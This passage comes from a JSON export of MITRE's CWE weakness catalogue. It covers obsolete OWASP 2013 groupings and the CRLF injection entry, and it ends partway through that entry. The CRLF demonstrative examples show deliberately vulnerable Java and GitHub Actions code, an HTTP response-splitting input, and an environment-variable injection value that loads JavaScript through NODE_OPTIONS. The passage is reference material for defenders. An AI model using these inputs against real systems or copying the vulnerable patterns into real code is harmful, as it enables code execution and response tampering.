"Modification_Version": "4.16", "Modification_ReleaseDate": "2024-11-19", "Modification_Comment": "updated Mapping_Notes, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-04-03", "Modification_Version": "4.17", "Modification_ReleaseDate": "2025-04-03", "Modification_Comment": "updated Alternate_Terms, Common_Consequences, Description, Diagram, Theoretical_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-12-11", "Modification_Version": "4.19", "Modification_ReleaseDate": "2025-12-11", "Modification_Comment": "updated Demonstrative_Examples, Relationships, Weakness_Ordinalities"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-04-30", "Modification_Version": "4.20", "Modification_ReleaseDate": "2026-04-30", "Modification_Comment": "updated Potential_Mitigations, Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Applicable_Platforms, Name"}], "Contribution": [{"@Type": "Content", "Contribution_Name": "\"Mapping CWE to 62443\" Sub-Working Group", "Contribution_Organization": "CWE-CAPEC ICS/OT SIG", "Contribution_Date": "2023-06-29", "Contribution_Version": "4.12", "Contribution_ReleaseDate": "2023-06-29", "Contribution_Comment": "Suggested mappings to ISA/IEC 62443."}, {"@Type": "Content", "Contribution_Name": "Abhi Balakrishnan", "Contribution_Date": "2024-02-29", "Contribution_Version": "4.17", "Contribution_ReleaseDate": "2025-04-03", "Contribution_Comment": "Contributed usability diagram concepts used by the CWE team."}, {"@Type": "Feedback", "Contribution_Name": "Matthew A. Pagan", "Contribution_Organization": "Spectrum", "Contribution_Date": "2025-08-22", "Contribution_Version": "4.19", "Contribution_ReleaseDate": "2025-12-11", "Contribution_Comment": "Discovered a syntax issue in the Python3 demox (DX-156) and suggested a fix"}], "Previous_Entry_Name": [{"@Date": "2009-01-12", "#text": "Code Injection"}, {"@Date": "2009-05-27", "#text": "Failure to Control Generation of Code (aka 'Code Injection')"}, {"@Date": "2011-03-29", "#text": "Failure to Control Generation of Code ('Code Injection')"}, {"@Date": "2026-10-28", "#text": "Improper Control of Generation of Code ('Code Injection')"}]}, "entry_type": "Weakness", "ranking": 8224.0}, {"@ID": "938", "@Name": "OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "601", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-937"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "937", "@Name": "OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2013.", "References": {"Reference": {"@External_Reference_ID": "REF-936"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Notes": {"Note": {"@Type": "Relationship", "#text": "This is an unusual category. CWE does not cover the limitations of human processes and procedures that cannot be described in terms of a specific technical weakness as resident in the code, architecture, or configuration of the software. Since \"known vulnerabilities\" can arise from any kind of weakness, it is not possible to map this OWASP category to other CWE entries, since it would effectively require mapping this category to ALL weaknesses."}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2021-10-28", "Modification_Version": "4.6", "Modification_ReleaseDate": "2021-10-28", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "936", "@Name": "OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF)", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "352", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-935"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "935", "@Name": "OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "285", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-934"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "934", "@Name": "OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "311", "@View_ID": "928"}, {"@CWE_ID": "312", "@View_ID": "928"}, {"@CWE_ID": "319", "@View_ID": "928"}, {"@CWE_ID": "320", "@View_ID": "928"}, {"@CWE_ID": "325", "@View_ID": "928"}, {"@CWE_ID": "326", "@View_ID": "928"}, {"@CWE_ID": "327", "@View_ID": "928"}, {"@CWE_ID": "328", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-933"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "933", "@Name": "OWASP Top Ten 2013 Category A5 - Security Misconfiguration", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "2", "@View_ID": "928"}, {"@CWE_ID": "16", "@View_ID": "928"}, {"@CWE_ID": "209", "@View_ID": "928"}, {"@CWE_ID": "215", "@View_ID": "928"}, {"@CWE_ID": "548", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-932"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "932", "@Name": "OWASP Top Ten 2013 Category A4 - Insecure Direct Object References", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "22", "@View_ID": "928"}, {"@CWE_ID": "99", "@View_ID": "928"}, {"@CWE_ID": "639", "@View_ID": "928"}, {"@CWE_ID": "706", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-931"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "931", "@Name": "OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS)", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": {"@CWE_ID": "79", "@View_ID": "928"}}, "References": {"Reference": {"@External_Reference_ID": "REF-930"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-16", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "930", "@Name": "OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management", "@Status": "Obsolete", "Summary": "Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2013.", "Relationships": {"Has_Member": [{"@CWE_ID": "256", "@View_ID": "928"}, {"@CWE_ID": "287", "@View_ID": "928"}, {"@CWE_ID": "311", "@View_ID": "928"}, {"@CWE_ID": "384", "@View_ID": "928"}, {"@CWE_ID": "522", "@View_ID": "928"}, {"@CWE_ID": "523", "@View_ID": "928"}, {"@CWE_ID": "613", "@View_ID": "928"}, {"@CWE_ID": "620", "@View_ID": "928"}, {"@CWE_ID": "640", "@View_ID": "928"}]}, "References": {"Reference": {"@External_Reference_ID": "REF-929"}}, "Mapping_Notes": {"Usage": "Prohibited", "Rationale": "This entry is a Grouping. Using groupings for mapping has been discouraged since 2019. They are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.", "Comments": "See member weaknesses of this category.", "Reasons": {"Reason": {"@Type": "Grouping"}}}, "Content_History": {"Submission": {"Submission_Name": "CWE Content Team", "Submission_Organization": "MITRE", "Submission_Date": "2013-07-17", "Submission_Version": "2.5", "Submission_ReleaseDate": "2013-07-17"}, "Modification": [{"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2014-06-23", "Modification_Version": "2.7", "Modification_ReleaseDate": "2014-06-23", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-01-24", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2018-03-27", "Modification_Version": "3.1", "Modification_ReleaseDate": "2018-03-27", "Modification_Comment": "updated Relationships"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-04-27", "Modification_Version": "4.11", "Modification_ReleaseDate": "2023-04-27", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2023-06-29", "Modification_Version": "4.12", "Modification_ReleaseDate": "2023-06-29", "Modification_Comment": "updated Mapping_Notes"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2025-09-09", "Modification_Version": "4.18", "Modification_ReleaseDate": "2025-09-09", "Modification_Comment": "updated References"}, {"Modification_Name": "CWE Content Team", "Modification_Organization": "MITRE", "Modification_Date": "2026-10-28", "Modification_Version": "5.0", "Modification_ReleaseDate": "2026-10-28", "Modification_Comment": "updated Mapping_Notes, Type"}]}, "entry_type": "Grouping", "ranking": null}, {"@ID": "93", "@Name": "Improper Neutralization of CRLF Sequences", "@Abstraction": "Base", "@Structure": "Simple", "@Status": "Draft", "@Diagram": "/data/images/CWE-93-Diagram.png", "Description": "The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.", "Related_Weaknesses": {"Related_Weakness": [{"@Nature": "ChildOf", "@CWE_ID": "74", "@View_ID": "1000", "@Ordinal": "Primary"}, {"@Nature": "CanPrecede", "@CWE_ID": "117", "@View_ID": "1000"}]}, "Weakness_Ordinalities": {"Weakness_Ordinality": {"Ordinality": "Primary"}}, "Applicable_Platforms": {"Language": {"@Class": "Not Language-Specific", "@Prevalence": "Undetermined"}}, "Alternate_Terms": {"Alternate_Term": {"Term": "CRLF Injection", "Role": ["Common-Name", "Attack-Focused"]}}, "Modes_Of_Introduction": {"Introduction": {"Phase": "Implementation", "Note": "REALIZATION: This weakness is caused during implementation of an architectural security tactic."}}, "Common_Consequences": {"Consequence": {"Scope": "Integrity", "Impact": "Modify Application Data"}}, "Detection_Methods": {"Detection_Method": {"@Detection_Method_ID": "DM-14", "Method": "Automated Static Analysis", "Description": "Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect \"sources\" (origins of input) with \"sinks\" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)", "Effectiveness": "High"}}, "Potential_Mitigations": {"Mitigation": [{"Phase": "Implementation", "Description": ["Avoid using CRLF as a special sequence."]}, {"Phase": "Implementation", "Description": ["Appropriately filter or quote CRLF sequences in user-controlled input."]}]}, "Demonstrative_Examples": {"Demonstrative_Example": [{"@Demonstrative_Example_ID": "DX-224", "Intro_Text": "The following code segment reads the name of the author of a weblog entry, author, from an HTTP request and sets it in a cookie header of an HTTP response.", "Example_Code": [{"@Nature": "Bad", "@Language": "Java", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "String author = request.getParameter(AUTHOR_PARAM);...Cookie cookie = new Cookie(\"author\", author);cookie.setMaxAge(cookieExpiration);response.addCookie(cookie);"}, "#text_blocks": ["String author = request.getParameter(AUTHOR_PARAM);", "...", "Cookie cookie = new Cookie(\"author\", author);", "cookie.setMaxAge(cookieExpiration);", "response.addCookie(cookie);"]}, {"@Nature": "Result", "xhtml:div": {"xhtml:br": [null, null, null], "#text": "HTTP/1.1 200 OK...Set-Cookie: author=Jane Smith..."}, "#text_blocks": ["HTTP/1.1 200 OK", "...", "Set-Cookie: author=Jane Smith", "..."]}, {"@Nature": "Attack", "xhtml:div": "Wiley Hacker\\r\\nHTTP/1.1 200 OK\\r\\n", "#text_blocks": ["Wiley Hacker\\r\\nHTTP/1.1 200 OK\\r\\n"]}, {"@Nature": "Result", "xhtml:div": {"xhtml:br": [null, null, null, null], "#text": "HTTP/1.1 200 OK...Set-Cookie: author=Wiley HackerHTTP/1.1 200 OK..."}, "#text_blocks": ["HTTP/1.1 200 OK", "...", "Set-Cookie: author=Wiley Hacker", "HTTP/1.1 200 OK", "..."]}], "Body_Text": ["Assuming a string consisting of standard alpha-numeric characters, such as \"Jane Smith\", is submitted in the request the HTTP response including this cookie might take the following form:", "However, because the value of the cookie is composed of unvalidated user input, the response will only maintain this form if the value submitted for AUTHOR_PARAM does not contain any CR and LF characters. If an attacker submits a malicious string, such as", "then the HTTP response would be split into two responses of the following form:", "The second response is completely controlled by the attacker and can be constructed with any header and body content desired. The ability to construct arbitrary HTTP responses permits a variety of resulting attacks, including:", {"xhtml:ul": {"xhtml:li": [{"xhtml:div": "cross-user defacement"}, {"xhtml:div": "web and browser cache poisoning"}, {"xhtml:div": "cross-site scripting"}, {"xhtml:div": "page hijacking"}]}, "#text_blocks": ["cross-user defacement", "web and browser cache poisoning", "cross-site scripting", "page hijacking"]}]}, {"@Demonstrative_Example_ID": "DX-236", "Intro_Text": "The following code is a workflow job written\n\t using YAML. The code attempts to download pull request\n\t artifacts, unzip from the artifact called pr.zip and\n\t extract the value of the file NR into a variable\n\t \"pr_number\" that will be used later in another job. It\n\t attempts to create a github workflow environment\n\t variable, writing to $GITHUB_ENV. The environment\n\t variable value is retrieved from an external\n\t resource.", "Example_Code": [{"@Nature": "Bad", "@Language": "Other", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null], "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": null, "xhtml:div": {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null, null, null, null, null], "xhtml:div": [{"@style": "margin-left:1em;", "xhtml:br": [null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t repo: context.repo.repo,\n\t\t\t run_id: ${{ github.event.workflow_run.id }},"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "return artifact.name == \"pr\""}, {"@style": "margin-left:1em;", "xhtml:br": [null, null, null, null], "#text": "owner: context.repo.owner,\n\t\t\t repo: context.repo.repo,\n\t\t\t artifact_id: matchPrArtifact.id,\n\t\t\t archive_format: 'zip',"}], "#text": "var artifacts = await github.actions.listWorkflowRunArtifacts({\n\t\t\t \n\t\t\t });\n\t\t\t var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {\n\t\t\t \n\t\t\t })[0];\n\t\t\t var downloadPr = await github.actions.downloadArtifact({\n\t\t\t \n\t\t\t });\n\t\t\t var fs = require('fs');\n\t\t\t fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));"}, "#text": "script: |"}, {"@style": "margin-left:1em;", "xhtml:br": null, "#text": "unzip pr.zip\n\t\t\techo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"}], "#text": "- name: 'Download artifact'\n\t\t uses: actions/github-script\n\t\t with:\n\t\t \n\t\t - run: |"}, "#text": "runs-on: ubuntu-latest\n\t\t steps:"}, "#text": "deploy:"}, "#text": "name: Deploy Preview\n\t\tjobs:", "#text_blocks": ["name: Deploy Preview", "jobs:", "deploy:", "runs-on: ubuntu-latest", "steps:", "- name: 'Download artifact'", "uses: actions/github-script", "with:", "script: |", "var artifacts = await github.actions.listWorkflowRunArtifacts({", "owner: context.repo.owner,", "repo: context.repo.repo,", "run_id: ${{ github.event.workflow_run.id }},", "});", "var matchPrArtifact = artifacts.data.artifacts.filter((artifact) => {", "return artifact.name == \"pr\"", "})[0];", "var downloadPr = await github.actions.downloadArtifact({", "owner: context.repo.owner,", "repo: context.repo.repo,", "artifact_id: matchPrArtifact.id,", "archive_format: 'zip',", "});", "var fs = require('fs');", "fs.writeFileSync('${{github.workspace}}/pr.zip', Buffer.from(downloadPr.data));", "- run: |", "unzip pr.zip", "echo \"pr_number=$(cat NR)\" >> $GITHUB_ENV"]}, {"@Nature": "Attack", "#text": "\\nNODE_OPTIONS=\"--experimental-modules --experiments-loader=data:text/javascript,console.log('injected code');//\""}, {"@Nature": "Good", "@Language": "Other", "#text": "The code could be modified to validate that the NR\n\t\tfile only contains a numeric value, or the code could\n\t\tretrieve the PR number from a more trusted source."}], "Body_Text": [{"xhtml:p": ["The code does not neutralize the value of the file NR, which is attacker controlled because\n\t it originates from a pull request that produced pr.zip.", "The attacker could escape the existing\n\t pr_number and create a new variable using a \"\\n\"\n\t (CWE-93) followed by any environment variable to be\n\t added such as:"], "#text_blocks": ["The code does not neutralize the value of the file NR, which is attacker controlled because\n\t it originates from a pull request that produced pr.zip.", "The attacker could escape the existing\n\t pr_number and create a new variable using a \"\\n\"\n\t (CWE-93) followed by any environment variable to be\n\t added such as:"]}, {"xhtml:p": "This would result in injecting and running\n\t javascript code (CWE-94) on the workflow runner with\n\t elevated privileges.", "#text_blocks": ["This would result in injecting and running\n\t javascript code (CWE-94) on the workflow runner with\n\t elevated privileges."]}]}, {"Intro_Text": "If user input data that eventually makes it to a log message isn't checked for CRLF characters, it may be possible for an attacker to forge entries in a log file.", "Example_Code": {"@Nature": "Bad", "@Language": "Java", "xhtml:div": "logger.info(\"User's street address: \" + request.getParameter(\"streetAddress\"));", "#text_blocks": ["logger.info(\"User's street address: \" + request.getParameter(\"streetAddress\"));"]}}]}, "Observed_Examples": {"Observed_Example": [{"Reference": "CVE-2002-1771", "Description": "CRLF injection enables spam 